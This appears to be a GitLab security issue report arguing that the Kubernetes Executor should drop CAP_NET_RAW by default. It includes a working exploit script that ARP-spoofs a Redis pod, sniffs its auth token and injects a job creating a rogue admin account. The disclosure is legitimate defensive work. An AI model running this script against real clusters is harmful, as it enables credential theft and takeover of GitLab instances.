Kubernetes Executor should block `CAP_NET_RAW` capability by default; allow configuration
Summary
The Kubernetes Executor executes jobs on pods with the default security context, which allows CAP_NET_RAW
. This allows for malicious workloads to use arpspoofing and other methods to attack any other workload running on the same node.
As a proof of content, the default installation of the GitLab Helm chart bundles GitLab runner and deploys the Runner into the same cluster alongside the GitLab instance. This opens various attack paths from CI Jobs towards the GitLab instance, including the ability to get admin control over the instance.
Steps to reproduce
A very basic example would be the following shell script:
#!/bin/bash
apt-get update
apt-get install -y git python python-scapy tcpdump dnsutils dsniff nmap psmisc arping binutils grep netcat
GWIP=`ip route |grep default | cut -f 3 -d " "`
REDISIP=`host gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local | cut -f 4 -d " "`
arping gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local -c 3 || exit # wrong subnet
tcpdump -ni eth0 -s 0 -w out.pcap &
arpspoof -r -t $REDISIP $GWIP & > /dev/null 2>&1
sleep 3
tcpkill -9 port 6379 & sleep 5 && killall -9 tcpkill
sleep 10
killall tcpdump
killall -9 arpspoof
REDISTOKEN=`strings out.pcap |grep '^auth$' -A 1 | grep '[a-zA-Z0-9]\{64\}' | head -n 1`
nc $REDISIP 6379 <<EOE
auth $REDISTOKEN
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"User.new(name: 'haxx',admin: true,password: 'haxx1234%A',username: 'haxx', email: 'ha@xx.invalid',admin: true).save\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"4552c3b1225428b18682c901\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
EOE
exit 0
The script will interfere with the redis
instance on network level using arpspoof
and tcpkill
to sniff the redis
authentication token. Subsequently the script will create an admin account via injection of a GitlabShellWorker
job.
I could run this script and sucessfully create the admin account from a CI job in a test installation of the GitLab Helm chart. The installation was performed using
helm upgrade --install gitlab gitlab/gitlab \
--timeout 600s \
--set global.hosts.domain=k8s.thetanuki.io \
--set certmanager-issuer.email=jschneeweisz@gitlab.com \
--set global.hosts.externalIP=34.107.49.76
Note: Due to the network segmentation the CI job needed to be started several times to eventually end up in the same network segment where the redis
pod lives this is required for the ARP spoofing attack to be performed.
This is just one of many possible attacks, other vectors might target the Gitaly
or Gitlab Shell
tokens or even sniff passwords for the Web login.
Proposal
GitLab runner should always be installed on a distinct cluster. Thus the GitLab Helm chart should not install the Runner by default.
Configuration used
The GitLab instance wasn't further configured, just sign-ups have been disabled.
Versions
- Chart:
gitlab-4.1.4
- Platform:
- Cloud: GKE
- Kubernetes: (
kubectl version
)- Client:
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.3", GitCommit:"2e7996e3e2712684bc73f0dec0200d64eec7fe40", GitTreeState:"archive", BuildDate:"2020-05-22T20:04:08Z", GoVersion:"go1.14.3", Compiler:"gc", Platform:"linux/amd64"}
- Server:
Server Version: version.Info{Major:"1", Minor:"14+", GitVersion:"v1.14.10-gke.36", GitCommit:"34a615f32e9a0c9e97cdb9f749adb392758349a6", GitTreeState:"clean", BuildDate:"2020-04-06T16:33:17Z", GoVersion:"go1.12.12b4", Compiler:"gc", Platform:"linux/amd64"}
- Client:
- Helm: (
helm version
)- Client:
version.BuildInfo{Version:"v3.1.2", GitCommit:"d878d4d45863e42fd5cff6743294a11d28a9abce", GitTreeState:"clean", GoVersion:"go1.13"}
- Client: